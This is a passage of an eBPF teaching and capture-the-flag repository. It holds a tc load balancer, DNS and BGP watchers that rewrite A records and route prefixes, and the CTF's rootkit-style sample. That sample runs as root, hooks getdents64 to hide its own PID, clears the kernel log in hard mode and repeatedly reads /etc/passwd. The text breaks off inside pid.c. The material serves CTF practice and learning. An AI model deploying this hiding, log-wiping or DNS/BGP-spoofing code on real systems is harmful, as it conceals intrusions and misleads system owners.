| 170 | func cat() { 171 | file, err := os.Open("/sys/kernel/tracing/trace_pipe") 172 | if err != nil { 173 | log.Fatal(err) 174 | } 175 | defer file.Close() 176 | readLines(file) 177 | } 178 | 179 | // HostToNetLong converts a 32-bit integer from host to network byte order, aka "htonl" 180 | func HostToNetLong(i uint32) uint32 { 181 | b := make([]byte, 4) 182 | binary.LittleEndian.PutUint32(b, i) 183 | return binary.BigEndian.Uint32(b) 184 | } 185 | -------------------------------------------------------------------------------- /userland/go/tc_ingress/main.go: -------------------------------------------------------------------------------- 1 | // This program demonstrates attaching an eBPF program to a network interface 2 | // with XDP (eXpress Data Path). The program parses the IPv4 source address 3 | // from packets and writes the packet count by IP to an LRU hash map. 4 | // The userspace program (Go code in this file) prints the contents 5 | // of the map to stdout every second. 6 | // It is possible to modify the XDP program to drop or redirect packets 7 | // as well -- give it a try! 8 | // This example depends on bpf_link, available in Linux kernel version 5.7 or newer. 9 | package main 10 | 11 | import ( 12 | "encoding/binary" 13 | "fmt" 14 | "log" 15 | "math/big" 16 | "net" 17 | "os" 18 | "strconv" 19 | "time" 20 | 21 | "github.com/PraserX/ipconv" 22 | tc "github.com/florianl/go-tc" 23 | "github.com/florianl/go-tc/core" 24 | 25 | "golang.org/x/sys/unix" 26 | ) 27 | 28 | //go:generate go run github.com/cilium/ebpf/cmd/bpf2go -cc clang -cflags "-O2 -g -Wall -Werror" bpf ../../../ebpf/tc_ingress/tc.c -- -I../headers 29 | 30 | func main() { 31 | if len(os.Args) < 5 { 32 | log.Fatalf("Usage: lb port backendPort") 33 | } 34 | 35 | // Look up the network interface by name. 36 | ifaceName := os.Args[1] 37 | lb_port, err := strconv.Atoi(os.Args[2]) 38 | if err != nil { 39 | log.Fatalf("Usage: lb port backendPort, err: %v", err) 40 | } 41 | 42 | backend1 := os.Args[3] 43 | backend2 := os.Args[4] 44 | backendPort, err := strconv.Atoi(os.Args[5]) 45 | if err != nil { 46 | log.Fatalf("Usage: lb port backendPort, err: %v", err) 47 | } 48 | 49 | iface, err := net.InterfaceByName(ifaceName) 50 | if err != nil { 51 | log.Fatalf("lookup network iface %q: %s", ifaceName, err) 52 | } 53 | 54 | // Load pre-compiled programs into the kernel. 55 | objs := bpfObjects{} 56 | if err := loadBpfObjects(&objs, nil); err != nil { 57 | log.Fatalf("loading objects: %s", err) 58 | } 59 | defer objs.Close() 60 | 61 | be1, _ := ipconv.IPv4ToInt(net.ParseIP(backend1)) 62 | be2, _ := ipconv.IPv4ToInt(net.ParseIP(backend2)) 63 | err = objs.SvcMap.Put(uint16(lb_port), bpfBackends{ 64 | Backend1: HostToNetLong(be1), 65 | Backend2: HostToNetLong(be2), 66 | DestPort: uint16(backendPort), 67 | }) 68 | 69 | if err != nil { 70 | log.Fatalf("add to map failed %w", err) 71 | } 72 | rtnl, err := tc.Open(&tc.Config{}) 73 | if err != nil { 74 | fmt.Fprintf(os.Stderr, "could not open rtnetlink socket: %v\n", err) 75 | return 76 | } 77 | defer func() { 78 | if err := rtnl.Close(); err != nil { 79 | fmt.Fprintf(os.Stderr, "could not close rtnetlink socket: %v\n", err) 80 | } 81 | }() 82 | 83 | qdisc := tc.Object{ 84 | tc.Msg{ 85 | Family: unix.AF_UNSPEC, 86 | Ifindex: uint32(iface.Index), 87 | Handle: core.BuildHandle(tc.HandleRoot, 0x0000), 88 | Parent: tc.HandleIngress, 89 | Info: 0, 90 | }, 91 | tc.Attribute{ 92 | Kind: "clsact", 93 | }, 94 | } 95 | 96 | if err := rtnl.Qdisc().Add(&qdisc); err != nil { 97 | fmt.Fprintf(os.Stderr, "could not assign clsact to %s: %v\n", iface.Name, err) 98 | rtnl.Qdisc().Delete(&qdisc) 99 | return 100 | } 101 | log.Printf("Attaching eBPF program to iface %q (index %d)", iface.Name, iface.Index) 102 | 103 | // when deleting the qdisc, the applied filter will also be gone 104 | defer rtnl.Qdisc().Delete(&qdisc) 105 | 106 | fd := uint32(objs.TcIngress.FD()) 107 | flags := uint32(0x1) 108 | name := objs.TcIngress.String() 109 | 110 | filter := tc.Object{ 111 | tc.Msg{ 112 | Family: unix.AF_UNSPEC, 113 | Ifindex: uint32(iface.Index), 114 | Handle: 0, 115 | Parent: core.BuildHandle(tc.HandleRoot, tc.HandleMinIngress), 116 | Info: 0x300, 117 | }, 118 | tc.Attribute{ 119 | Kind: "bpf", 120 | 121 | BPF: &tc.Bpf{ 122 | FD: &fd, 123 | Flags: &flags, 124 | Name: &name, 125 | }, 126 | }, 127 | } 128 | 129 | if err := rtnl.Filter().Add(&filter); err != nil { 130 | fmt.Fprintf(os.Stderr, "could not assign eBPF: %v\n", err) 131 | return 132 | } 133 | defer rtnl.Filter().Delete(&filter) 134 | 135 | // 136 | log.Printf("Press Ctrl-C to exit and remove the program") 137 | 138 | time.Sleep(time.Minute) 139 | } 140 | 141 | // NetToHostShort converts a 16-bit integer from network to host byte order, aka "ntohs" 142 | func NetToHostShort(i uint16) uint16 { 143 | data := make([]byte, 2) 144 | binary.BigEndian.PutUint16(data, i) 145 | return binary.LittleEndian.Uint16(data) 146 | } 147 | 148 | // NetToHostLong converts a 32-bit integer from network to host byte order, aka "ntohl" 149 | func NetToHostLong(i uint32) uint32 { 150 | data := make([]byte, 4) 151 | binary.BigEndian.PutUint32(data, i) 152 | return binary.LittleEndian.Uint32(data) 153 | } 154 | 155 | // HostToNetShort converts a 16-bit integer from host to network byte order, aka "htons" 156 | func HostToNetShort(i uint16) uint16 { 157 | b := make([]byte, 2) 158 | binary.LittleEndian.PutUint16(b, i) 159 | return binary.BigEndian.Uint16(b) 160 | } 161 | 162 | // HostToNetLong converts a 32-bit integer from host to network byte order, aka "htonl" 163 | func HostToNetLong(i uint32) uint32 { 164 | b := make([]byte, 4) 165 | binary.LittleEndian.PutUint32(b, i) 166 | return binary.BigEndian.Uint32(b) 167 | } 168 | 169 | func Ip2Int(ip net.IP) uint32 { 170 | i := big.NewInt(0) 171 | 172 | return uint32(i.SetBytes(ip).Uint64()) 173 | } 174 | -------------------------------------------------------------------------------- /userland/go/dns/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "context" 6 | "encoding/binary" 7 | "flag" 8 | "fmt" 9 | "io" 10 | "net" 11 | "os" 12 | "os/signal" 13 | "strings" 14 | "syscall" 15 | 16 | "github.com/praserx/ipconv" 17 | log "github.com/sirupsen/logrus" 18 | "github.com/vishvananda/netlink" 19 | "golang.org/x/sys/unix" 20 | ) 21 | 22 | //go:generate go run github.com/cilium/ebpf/cmd/bpf2go -cc clang -cflags "-O2 -g -Wall -Werror" dns ../../../ebpf/dns/dns.c -- -I../headers 23 | 24 | func main() { 25 | 26 | ifaceName := flag.String("interface", "eth0", "The interface to watch network traffic on") 27 | findName := flag.String("findDomain", "", "The domain to watch for") 28 | replaceRecord := flag.String("replaceRecord", "", "The A record to replace for that particular domain") 29 | 30 | flag.Parse() 31 | 32 | log.Infof("Starting 🐝 the eBPF DNS watcher, on interface [%s]", *ifaceName) 33 | 34 | ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt, syscall.SIGTERM) 35 | defer stop() 36 | // Look up the network interface by name. 37 | devID, err := net.InterfaceByName(*ifaceName) 38 | if err != nil { 39 | log.Fatalf("lookup network iface %s: %s", *ifaceName, err) 40 | } 41 | 42 | // Load pre-compiled programs into the kernel. 43 | objs := dnsObjects{} 44 | if err := loadDnsObjects(&objs, nil); err != nil { 45 | log.Fatalf("loading objects: %s", err) 46 | } 47 | 48 | defer objs.Close() 49 | // Parse the URL Path 50 | var dnsName [256]uint8 51 | var convertedName [256]uint8 52 | 53 | copy(dnsName[:], *findName) 54 | 55 | if *findName != "" || *replaceRecord != "" { 56 | 57 | address, _ := ipconv.IPv4ToInt(net.ParseIP(*replaceRecord)) 58 | tempName := ConvertDomain(*findName) 59 | copy(convertedName[:], tempName) 60 | err = objs.DnsMap.Put(convertedName, dnsDnsReplace{dnsName, HostToNetLong(address)}) 61 | if err != nil { 62 | log.Fatalf("add to map failed %v", err) 63 | } 64 | } 65 | 66 | qdisc := &netlink.GenericQdisc{ 67 | QdiscAttrs: netlink.QdiscAttrs{ 68 | LinkIndex: devID.Index, 69 | Handle: netlink.MakeHandle(0xffff, 0), 70 | Parent: netlink.HANDLE_INGRESS, 71 | }, 72 | QdiscType: "clsact", 73 | } 74 | 75 | err = netlink.QdiscReplace(qdisc) 76 | if err != nil { 77 | log.Fatalf("could not get replace qdisc: %v", err) 78 | } 79 | log.Info("Loaded TC QDisc") 80 | 81 | filterIngress := &netlink.BpfFilter{ 82 | FilterAttrs: netlink.FilterAttrs{ 83 | LinkIndex: devID.Index, 84 | Parent: netlink.HANDLE_MIN_INGRESS, 85 | Handle: 1, 86 | Protocol: unix.ETH_P_ALL, 87 | }, 88 | Fd: objs.TcIngress.FD(), 89 | Name: objs.TcIngress.String(), 90 | DirectAction: true, 91 | } 92 | 93 | if err := netlink.FilterReplace(filterIngress); err != nil { 94 | log.Fatalf("failed to replace tc filter: %v", err) 95 | } 96 | 97 | filterEgress := &netlink.BpfFilter{ 98 | FilterAttrs: netlink.FilterAttrs{ 99 | LinkIndex: devID.Index, 100 | Parent: netlink.HANDLE_MIN_EGRESS, 101 | Handle: 1, 102 | Protocol: unix.ETH_P_ALL, 103 | }, 104 | Fd: objs.TcEgress.FD(), 105 | Name: objs.TcEgress.String(), 106 | DirectAction: true, 107 | } 108 | 109 | if err := netlink.FilterReplace(filterEgress); err != nil { 110 | log.Fatalf("failed to replace tc filter: %v", err) 111 | } 112 | 113 | log.Printf("Press Ctrl-C to exit and remove the program") 114 | 115 | // Drop the logs 116 | go cat() 117 | <-ctx.Done() // We wait here 118 | log.Info("Removing eBPF programs") 119 | 120 | link, err := netlink.LinkByName(*ifaceName) 121 | if err != nil { 122 | log.Fatalf("could not find iface: %v", err) 123 | } 124 | 125 | f, err := netlink.FilterList(link, netlink.HANDLE_MIN_INGRESS) 126 | if err != nil { 127 | log.Fatalf("could not list filters: %v", err) 128 | } 129 | 130 | if len(f) == 0 { 131 | log.Error("Unable to clean any filters") 132 | } 133 | for x := range f { 134 | err = netlink.FilterDel(f[x]) 135 | if err != nil { 136 | log.Fatalf("could not get remove filter: %v", err) 137 | } 138 | } 139 | 140 | f, err = netlink.FilterList(link, netlink.HANDLE_MIN_EGRESS) 141 | if err != nil { 142 | log.Fatalf("could not list filters: %v", err) 143 | } 144 | 145 | if len(f) == 0 { 146 | log.Error("Unable to clean any filters") 147 | } 148 | for x := range f { 149 | err = netlink.FilterDel(f[x]) 150 | if err != nil { 151 | log.Fatalf("could not get remove filter: %v", err) 152 | } 153 | } 154 | } 155 | 156 | func readLines(r io.Reader) { 157 | rd := bufio.NewReader(r) 158 | for { 159 | line, err := rd.ReadString('\n') 160 | if err == io.EOF { 161 | break 162 | } 163 | if err != nil { 164 | log.Fatal(err) 165 | } 166 | 167 | fmt.Printf("%s", line) 168 | 169 | } 170 | } 171 | 172 | func cat() { 173 | file, err := os.Open("/sys/kernel/tracing/trace_pipe") 174 | if err != nil { 175 | log.Fatal(err) 176 | } 177 | defer file.Close() 178 | readLines(file) 179 | } 180 | 181 | // HostToNetLong converts a 32-bit integer from host to network byte order, aka "htonl" 182 | func HostToNetLong(i uint32) uint32 { 183 | b := make([]byte, 4) 184 | binary.LittleEndian.PutUint32(b, i) 185 | return binary.BigEndian.Uint32(b) 186 | } 187 | 188 | func ConvertDomain(name string) []byte { 189 | var convertedName []byte 190 | //var charCount uint8 191 | var charPointer int 192 | subDomains := strings.Split(name, ".") 193 | for x := range subDomains { 194 | convertedName = append(convertedName, uint8(len(subDomains[x]))) 195 | convertedName = append(convertedName, subDomains[x]...) 196 | charPointer = charPointer + 1 + len(subDomains[x]) 197 | } 198 | //convertedName = append(convertedName, uint8(0)) 199 | return convertedName 200 | } 201 | -------------------------------------------------------------------------------- /userland/go/bgp/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "context" 6 | "encoding/binary" 7 | "flag" 8 | "fmt" 9 | "io" 10 | "net" 11 | "os" 12 | "os/signal" 13 | "strconv" 14 | "strings" 15 | "syscall" 16 | 17 | "github.com/kube-vip/kube-vip/pkg/bgp" 18 | "github.com/praserx/ipconv" 19 | "github.com/sirupsen/logrus" 20 | log "github.com/sirupsen/logrus" 21 | "github.com/vishvananda/netlink" 22 | "golang.org/x/sys/unix" 23 | ) 24 | 25 | //go:generate go run github.com/cilium/ebpf/cmd/bpf2go -cc clang -cflags "-O2 -g -Wall -Werror" bpf ../../../ebpf/bgp/bgp.c -- -I../headers 26 | 27 | func main() { 28 | 29 | ifaceName := flag.String("interface", "eth0", "The interface to watch network traffic on") 30 | findNLRI := flag.String("findNLRI", "", "The interface to watch network traffic on") 31 | replaceNLRI := flag.String("replaceNLRI", "", "The interface to watch network traffic on") 32 | 33 | //path := flag.String("path", "", "The URL Path to watch for") 34 | flag.Parse() 35 | 36 | log.Infof("Starting 🐝 the eBPF BGP watcher, on interface [%s]", *ifaceName) 37 | 38 | ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt, syscall.SIGTERM) 39 | defer stop() 40 | // Look up the network interface by name. 41 | devID, err := net.InterfaceByName(*ifaceName) 42 | if err != nil { 43 | log.Fatalf("lookup network iface %q: %s", ifaceName, err) 44 | } 45 | 46 | // Load pre-compiled programs into the kernel. 47 | objs := bpfObjects{} 48 | if err := loadBpfObjects(&objs, nil); err != nil { 49 | log.Fatalf("loading objects: %s", err) 50 | } 51 | defer objs.Close() 52 | 53 | if *findNLRI != "" || *replaceNLRI != "" { 54 | nlri := strings.Split(*findNLRI, "/") 55 | address, _ := ipconv.IPv4ToInt(net.ParseIP(nlri[0])) 56 | prefix, _ := strconv.Atoi(nlri[1]) 57 | 58 | nlri2 := strings.Split(*replaceNLRI, "/") 59 | address2, _ := ipconv.IPv4ToInt(net.ParseIP(nlri2[0])) 60 | prefix2, _ := strconv.Atoi(nlri2[1]) 61 | 62 | one := bpfNlri{uint8(prefix), HostToNetLong(address)} 63 | two := bpfNlri{uint8(prefix2), HostToNetLong(address2)} 64 | err = objs.NlriReplace.Put(one, two) 65 | // err = objs.SvcMap.Put(uint16(lb_port), bpfBackends{ 66 | // Backend1: HostToNetLong(be1), 67 | // Backend2: HostToNetLong(be2), 68 | // DestPort: uint16(backendPort), 69 | // }) 70 | 71 | if err != nil { 72 | log.Fatalf("add to map failed %w", err) 73 | } 74 | } 75 | 76 | qdisc := &netlink.GenericQdisc{ 77 | QdiscAttrs: netlink.QdiscAttrs{ 78 | LinkIndex: devID.Index, 79 | Handle: netlink.MakeHandle(0xffff, 0), 80 | Parent: netlink.HANDLE_INGRESS, 81 | }, 82 | QdiscType: "clsact", 83 | } 84 | 85 | err = netlink.QdiscReplace(qdisc) 86 | if err != nil { 87 | log.Fatalf("could not get replace qdisc: %v", err) 88 | } 89 | log.Info("Loaded TC QDisc") 90 | 91 | filterIngress := &netlink.BpfFilter{ 92 | FilterAttrs: netlink.FilterAttrs{ 93 | LinkIndex: devID.Index, 94 | Parent: netlink.HANDLE_MIN_INGRESS, 95 | Handle: 1, 96 | Protocol: unix.ETH_P_ALL, 97 | }, 98 | Fd: objs.TcIngress.FD(), 99 | Name: objs.TcIngress.String(), 100 | DirectAction: true, 101 | } 102 | 103 | if err := netlink.FilterReplace(filterIngress); err != nil { 104 | log.Fatalf("failed to replace tc filter: %v", err) 105 | } 106 | 107 | filterEgress := &netlink.BpfFilter{ 108 | FilterAttrs: netlink.FilterAttrs{ 109 | LinkIndex: devID.Index, 110 | Parent: netlink.HANDLE_MIN_EGRESS, 111 | Handle: 1, 112 | Protocol: unix.ETH_P_ALL, 113 | }, 114 | Fd: objs.TcEgress.FD(), 115 | Name: objs.TcEgress.String(), 116 | DirectAction: true, 117 | } 118 | 119 | if err := netlink.FilterReplace(filterEgress); err != nil { 120 | log.Fatalf("failed to replace tc filter: %v", err) 121 | } 122 | 123 | log.Printf("Press Ctrl-C to exit and remove the program") 124 | c := &bgp.Config{ 125 | AS: 65001, 126 | SourceIP: "192.168.0.22", 127 | RouterID: "192.168.0.22", 128 | Peers: []bgp.Peer{ 129 | { 130 | Address: "192.168.0.10", 131 | AS: 65000, 132 | MultiHop: true, 133 | }, 134 | }, 135 | } 136 | b, err := bgp.NewBGPServer(c, nil) 137 | if err != nil { 138 | logrus.Fatalf("Error starting server [%v]", err) 139 | } 140 | err = b.AddHost("10.0.0.1/32") 141 | if err != nil { 142 | logrus.Fatalf("Error starting server [%v]", err) 143 | } 144 | // Drop the logs 145 | go cat() 146 | <-ctx.Done() // We wait here 147 | log.Info("Removing eBPF programs") 148 | 149 | link, err := netlink.LinkByName(*ifaceName) 150 | if err != nil { 151 | log.Fatalf("could not find iface: %v", err) 152 | } 153 | 154 | f, err := netlink.FilterList(link, netlink.HANDLE_MIN_INGRESS) 155 | if err != nil { 156 | log.Fatalf("could not list filters: %v", err) 157 | } 158 | 159 | if len(f) == 0 { 160 | log.Error("Unable to clean any filters") 161 | } 162 | for x := range f { 163 | err = netlink.FilterDel(f[x]) 164 | if err != nil { 165 | log.Fatalf("could not get remove filter: %v", err) 166 | } 167 | } 168 | 169 | f, err = netlink.FilterList(link, netlink.HANDLE_MIN_EGRESS) 170 | if err != nil { 171 | log.Fatalf("could not list filters: %v", err) 172 | } 173 | 174 | if len(f) == 0 { 175 | log.Error("Unable to clean any filters") 176 | } 177 | for x := range f { 178 | err = netlink.FilterDel(f[x]) 179 | if err != nil { 180 | log.Fatalf("could not get remove filter: %v", err) 181 | } 182 | } 183 | b.Close() 184 | } 185 | 186 | func readLines(r io.Reader) { 187 | rd := bufio.NewReader(r) 188 | for { 189 | line, err := rd.ReadString('\n') 190 | if err == io.EOF { 191 | break 192 | } 193 | if err != nil { 194 | log.Fatal(err) 195 | } 196 | 197 | fmt.Printf("%s", line) 198 | 199 | } 200 | } 201 | 202 | func cat() { 203 | file, err := os.Open("/sys/kernel/tracing/trace_pipe") 204 | if err != nil { 205 | log.Fatal(err) 206 | } 207 | defer file.Close() 208 | readLines(file) 209 | } 210 | 211 | // HostToNetLong converts a 32-bit integer from host to network byte order, aka "htonl" 212 | func HostToNetLong(i uint32) uint32 { 213 | b := make([]byte, 4) 214 | binary.LittleEndian.PutUint32(b, i) 215 | return binary.BigEndian.Uint32(b) 216 | } 217 | -------------------------------------------------------------------------------- /userland/go/pid/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "context" 5 | "encoding/base64" 6 | "fmt" 7 | "os" 8 | "os/signal" 9 | "strconv" 10 | "syscall" 11 | "time" 12 | "unicode" 13 | 14 | "golang.org/x/sys/unix" 15 | 16 | "github.com/cilium/ebpf" 17 | "github.com/cilium/ebpf/link" 18 | "github.com/cilium/ebpf/rlimit" 19 | log "github.com/sirupsen/logrus" 20 | ) 21 | 22 | const ( 23 | UID = 0 // rooty mc tooty 24 | GUID = 0 25 | ) 26 | 27 | const ( 28 | _SYSLOG_ACTION_CLEAR = 5 29 | ) 30 | 31 | const story = ` 32 | You purged the computers of the malware - and not a second too late. Congratula 33 | tions! The location of the base remains a secret. Maybe not for long though, wh 34 | ile everyone was focusing on the computers, Bajeroff Lake, the traitor, managed 35 | to escape from his cell and stole a shuttle to escape the base. On the radars, 36 | you only see him jump into hyperspace. There's no doubt your paths will cross a 37 | gain one day. Before that, you'll take a day or three off to enjoy a well-deser 38 | ved rest. How about checking in on your giant bees, for a change? 39 | 40 | Oh wait, they're just calling all hands on deck: a Rebel squadron fell into an 41 | ambush and is fighting their way out... You'll relax another week! 42 | 43 | ------------------------------------------------------------------------------- 44 | 45 | Thanks for playing the eBPF Summit 2023 Capture the Flag, paste the below code 46 | in the CTF channel on the eBPF Slack! 47 | 48 | ` 49 | 50 | //go:generate go run github.com/cilium/ebpf/cmd/bpf2go -target bpfel -cc clang -cflags "-O2 -g -Wall -Werror" bpf ../../../ebpf/pid/pid.c -- -I../headers 51 | 52 | func main() { 53 | _, demon := os.LookupEnv("DEMON") 54 | _, hard := os.LookupEnv("HARDMODE") 55 | 56 | if !demon { 57 | 58 | // We need to randomize some pids!! 59 | os.Setenv("DEMON", "TRUE") 60 | // The Credential fields are used to set UID, GID and attitional GIDS of the process 61 | // You need to run the program as root to do this 62 | var cred = &syscall.Credential{ 63 | Uid: UID, 64 | Gid: GUID, 65 | Groups: []uint32{}, 66 | NoSetGroups: false} 67 | // the Noctty flag is used to detach the process from parent tty 68 | var sysproc = &syscall.SysProcAttr{Credential: cred, Noctty: false} 69 | var attr = os.ProcAttr{ 70 | Dir: ".", 71 | Env: os.Environ(), 72 | Files: []*os.File{ 73 | os.Stdin, 74 | nil, 75 | nil, 76 | }, 77 | Sys: sysproc, 78 | } 79 | process, err := os.StartProcess(os.Args[0], os.Args, &attr) 80 | if err == nil { 81 | 82 | // It is not clear from docs, but Realease actually detaches the process 83 | err = process.Release() 84 | if err != nil { 85 | panic(err.Error()) 86 | } 87 | 88 | } else { 89 | panic(err.Error()) 90 | } 91 | fmt.Println("🐝 inject") 92 | } else { 93 | exit := 1 94 | patch := 2 95 | 96 | ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt, syscall.SIGTERM) 97 | defer stop() 98 | 99 | // Allow the current process to lock memory for eBPF resources. 100 | if err := rlimit.RemoveMemlock(); err != nil { 101 | log.Fatal(err) 102 | } 103 | 104 | pid := os.Getpid() 105 | // Load pre-compiled programs into the kernel. 106 | objs := bpfObjects{} 107 | if err := loadBpfObjects(&objs, nil); err != nil { 108 | log.Fatalf("loading objects: %s", err) 109 | } 110 | defer objs.Close() 111 | 112 | var arr [10]byte 113 | pidString := strconv.Itoa(pid) 114 | copy(arr[:len(pidString)], pidString) 115 | 116 | if err := objs.PidMap.Put(uint32(0), bpfPidWatch{ 117 | PidString: arr, 118 | PidStringLen: uint64(len(pidString)), 119 | }); err != nil { 120 | log.Fatalf("putting map: %s", err) 121 | } 122 | // Configure the array with the pointers to our tail calls 123 | if err := objs.MapProgArray.Update(uint32(exit), objs.bpfPrograms.HandleGetdentsExit, ebpf.UpdateAny); err != nil { 124 | log.Fatalf("fighting with tail call maps: %s", err) 125 | } 126 | if err := objs.MapProgArray.Update(uint32(patch), objs.bpfPrograms.HandleGetdentsPatch, ebpf.UpdateAny); err != nil { 127 | log.Fatalf("fighting with tail call maps: %s", err) 128 | } 129 | 130 | // Load our tracepoint eBPF programs 131 | kpEnter, err := link.Tracepoint("syscalls", "sys_enter_getdents64", objs.HandleGetdentsEnter, nil) 132 | if err != nil { 133 | log.Fatalf("opening tracepoint: %s", err) 134 | } 135 | 136 | defer kpEnter.Close() 137 | 138 | // Load our tracepoint eBPF programs 139 | kpExit, err := link.Tracepoint("syscalls", "sys_exit_getdents64", objs.HandleGetdentsExit, nil) 140 | if err != nil { 141 | log.Fatalf("opening tracepoint: %s", err) 142 | } 143 | defer kpExit.Close() 144 | 145 | // Load our tracepoint eBPF programs 146 | kpPatch, err := link.Tracepoint("syscalls", "sys_exit_getdents64", objs.HandleGetdentsPatch, nil) 147 | if err != nil { 148 | log.Fatalf("opening tracepoint: %s", err) 149 | } 150 | defer kpPatch.Close() 151 | now := time.Now() 152 | var duration time.Duration 153 | var mode string 154 | 155 | go func() { 156 | // Every 30 seconds we will read the passwd file (naughty) 157 | for { 158 | if hard { 159 | // Wipe the system logs (hides the pid) 160 | _, err = unix.Klogctl(_SYSLOG_ACTION_CLEAR, nil) 161 | if err != nil { 162 | log.Fatalf("syslog failed: %v", err) 163 | } 164 | } 165 | duration = time.Since(now) 166 | _, _ = os.ReadFile("/etc/passwd") 167 | data := []byte(fmt.Sprintf("I've been in your kernel for [%f seconds]\n", duration.Seconds())) 168 | _ = os.WriteFile("/ebpf.summit", data, 0) 169 | time.Sleep(1 * time.Second) 170 | } 171 | }() 172 | //str := 173 | 174 | mode = "Mode [EASY]" 175 | if hard { 176 | mode = "Mode [HARD]" 177 | // Wipe the system logs (hides the pid) 178 | _, err = unix.Klogctl(_SYSLOG_ACTION_CLEAR, nil) 179 | if err != nil { 180 | log.Fatalf("syslog failed: %v", err) 181 | } 182 | 183 | } 184 | fmt.Println("🐝 2") 185 | 186 | <-ctx.Done() // We wait here 187 | 188 | // base64 our string 189 | rotString := base64.StdEncoding.EncodeToString([]byte((mode) + (fmt.Sprintf("\nI've was in your kernel for [%f seconds]\n", duration.Seconds())))) 190 | 191 | // Generate the full output and rotate the letters/numbers 192 | data := (story) + (rot13rot5(rotString)) + "\n" 193 | // Defer wont be called, so manually tidy eBPF objects 194 | objs.Close() 195 | kpEnter.Close() 196 | kpExit.Close() 197 | kpPatch.Close() 198 | 199 | _ = os.WriteFile("/ebpf.summit", []byte(data), 0) 200 | } 201 | } 202 | 203 | // rot13(alphabets) + rot5(numeric) 204 | func rot13rot5(input string) string { 205 | 206 | var result []rune 207 | rot5map := map[rune]rune{'0': '5', '1': '6', '2': '7', '3': '8', '4': '9', '5': '0', '6': '1', '7': '2', '8': '3', '9': '4'} 208 | 209 | for _, i := range input { 210 | switch { 211 | case !unicode.IsLetter(i) && !unicode.IsNumber(i): 212 | result = append(result, i) 213 | case i >= 'A' && i <= 'Z': 214 | result = append(result, 'A'+(i-'A'+13)%26) 215 | case i >= 'a' && i <= 'z': 216 | result = append(result, 'a'+(i-'a'+13)%26) 217 | case i >= '0' && i <= '9': 218 | result = append(result, rot5map[i]) 219 | case unicode.IsSpace(i): 220 | result = append(result, ' ') 221 | } 222 | } 223 | return fmt.Sprintf(string(result[:])) 224 | } 225 | -------------------------------------------------------------------------------- /ebpf/pid/pid.c: -------------------------------------------------------------------------------- 1 | // +build ignore 2 | 3 | #include "../headers/vmlinux.h" 4 | #include 5 | #include 6 | #include 7 | 8 | // These define our tail calls, allowing one function to drop to another! 9 | #define TAIL_EXIT 1 // getdents_exit 10 | #define TAIL_PATCH 2 // getdents_patch 11 | 12 | #define pid_length 10 13 | #define max_pid_len 10 14 | 15 | char __license[] SEC("license") = "GPL"; 16 | 17 | struct { 18 | __uint(type, BPF_MAP_TYPE_HASH); 19 | __uint(max_entries, 1024); 20 | __type(key, __u32); 21 | __type(value, struct pid_watch); 22 | } 23 | pid_map SEC(".maps"); 24 | 25 | struct pid_watch { 26 | size_t pid_string_len; 27 | __u8 pid_string[max_pid_len]; // This should be a char but code generation between here and Go.. 28 | }; 29 | 30 | // Map to fold the dents buffer addresses 31 | struct { 32 | __uint(type, BPF_MAP_TYPE_HASH); 33 | __uint(max_entries, 8192); 34 | __type(key, size_t); 35 | __type(value, long unsigned int); 36 | } map_buffs SEC(".maps"); 37 | 38 | // Map used to enable searching through the 39 | // data in a loop 40 | struct { 41 | __uint(type, BPF_MAP_TYPE_HASH); 42 | __uint(max_entries, 8192); 43 | __type(key, size_t); 44 | __type(value, int); 45 | } map_bytes_read SEC(".maps"); 46 | 47 | // Map with address of actual 48 | struct { 49 | __uint(type, BPF_MAP_TYPE_HASH); 50 | __uint(max_entries, 8192); 51 | __type(key, size_t); 52 | __type(value, long unsigned int); 53 | } map_to_patch SEC(".maps"); 54 | 55 | // Map to hold program tail calls 56 | struct { 57 | __uint(type, BPF_MAP_TYPE_PROG_ARRAY); 58 | __uint(max_entries, 5); 59 | __type(key, __u32); 60 | __type(value, __u32); 61 | } map_prog_array SEC(".maps"); 62 | 63 | // Optional Target Parent PID 64 | const volatile int target_ppid = 0; 65 | 66 | // These store the string represenation 67 | // of the PID to hide. This becomes the name 68 | // of the folder in /proc/ 69 | SEC("tp/syscalls/sys_enter_getdents64") 70 | int handle_getdents_enter(struct trace_event_raw_sys_enter *ctx) 71 | { 72 | size_t pid_tgid = bpf_get_current_pid_tgid(); 73 | // Check if we're a process thread of interest 74 | // if target_ppid is 0 then we target all pids 75 | if (target_ppid != 0) { 76 | struct task_struct *task = (struct task_struct *)bpf_get_current_task(); 77 | int ppid = BPF_CORE_READ(task, real_parent, tgid); 78 | if (ppid != target_ppid) { 79 | return 0; 80 | } 81 | } 82 | 83 | // Store params in map for exit function 84 | struct linux_dirent64 *dirp = (struct linux_dirent64 *)ctx->args[1]; 85 | bpf_map_update_elem(&map_buffs, &pid_tgid, &dirp, BPF_ANY); 86 | 87 | return 0; 88 | } 89 | 90 | SEC("tp/syscalls/sys_exit_getdents64") 91 | int handle_getdents_exit(struct trace_event_raw_sys_exit *ctx) 92 | { 93 | size_t pid_tgid = bpf_get_current_pid_tgid(); 94 | int total_bytes_read = ctx->ret; 95 | // if bytes_read is 0, everything's been read 96 | if (total_bytes_read <= 0) { 97 | return 0; 98 | } 99 | 100 | // Check we stored the address of the buffer from the syscall entry 101 | long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buffs, &pid_tgid); 102 | if (pbuff_addr == 0) { 103 | return 0; 104 | } 105 | 106 | // All of this is quite complex, but basically boils down to 107 | // Calling 'handle_getdents_exit' in a loop to iterate over the file listing 108 | // in chunks of 200, and seeing if a folder with the name of our pid is in there. 109 | // If we find it, use 'bpf_tail_call' to jump to handle_getdents_patch to do the actual 110 | // patching 111 | long unsigned int buff_addr = *pbuff_addr; 112 | struct linux_dirent64 *dirp = 0; 113 | short unsigned int d_reclen = 0; 114 | char filename[max_pid_len]; 115 | 116 | unsigned int bpos = 0; 117 | unsigned int *pBPOS = bpf_map_lookup_elem(&map_bytes_read, &pid_tgid); 118 | if (pBPOS != 0) { 119 | bpos = *pBPOS; 120 | } 121 | 122 | // This is slightly gross, but we have a map that we will only ever use the same key for 123 | // key 0 will always point to our string, which is the pid we watch for. 124 | __u32 key = 0; 125 | struct pid_watch *pid_to_watch; 126 | pid_to_watch = bpf_map_lookup_elem(&pid_map, &key); 127 | if 